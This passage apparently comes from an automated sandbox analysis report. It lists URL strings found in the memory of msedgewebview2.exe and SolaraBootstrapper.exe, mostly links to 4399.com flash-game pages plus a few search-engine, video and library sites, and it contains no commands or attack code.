Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/155476_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/15548_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/160944_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/163478_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/171322_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/173634_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/177937_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/17801_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/17801_4.htmhttps://www.4399.com/flash/177937_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/18012.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/18012_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/180977_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/18169_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/187040_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/187228_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/188593.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/188739_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/189558_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/191203_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/195673_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/195990_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/198491_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/198637_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/198660_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/199408_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/202061_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/202574_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/202604_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/202692_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/202724_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/202785.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/202819_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/202828_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/202901_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/202907_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/202911_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203018_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203093_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203152.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203153_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203154.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203166_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203178_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203215_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203231_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203369_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203371_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203404_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203453_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203476_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203481_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203495_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203515_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203564_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203682_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/203768_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/204044_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/204056_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/204206.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/204255_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/204290_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/204422_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/204429_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/204562_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/204650_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/204685_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/204886_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/204926_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/204952_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/204989_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/205090_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/205147.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/205165.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/205165.htmhttps://www.4399.com/flash/205147.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/205182.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/205235_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/205325_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/205341_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/205462_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/205536_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/205551_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/205845_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/206114_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/20660_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/206724_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/207195_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/207717_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/208107_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/209567_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/210650_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/212767_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/21552_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/216417_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/21674_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/217370_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/217603_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/217622_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/217629_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/217706_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/217815_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/217844_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/217855_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/217926_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/218066_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/218162_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/218717_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/218860_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/218939_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/220266_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/221162_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/221700_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/221839_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/222061_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/222151_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/222442_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/22287_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/223745.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/223745_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/225193_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/227465_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/230446_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/231814_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/27924.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/27924_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/32979_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/35538.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/35538_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/3881_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/3883_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/39379_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/40779_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/41193_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/42760_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/43689_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/43841_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/47931_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/48272_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/48504.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/48504.htmhttps://www.4399.com/flash/48272_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/48504_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/55146_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/59227_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/60369_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/6232_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/63805_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/65731_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/69112_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/69156_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/70215_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/72526_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/73386.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/776_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/79452_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/81895_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/83345_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/85646_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/87425_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/88902_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/90302_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/93015_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/93398_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/93551_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/yzzrhj.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/zmhj.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702269800.00003698004F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/zmhj.htm#search3-6407
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/s?tn=15007414_9_dg&wd=
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.douyin.com/?ug_source=
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iduba.com/sv.html?f=
Source: msedgewebview2.exe, 0000003A.00000002.1702269800.00003698004F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ludashi.com/cms/server/monitor.php?id=
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.nate.com/?f=nateontb
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/json
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson
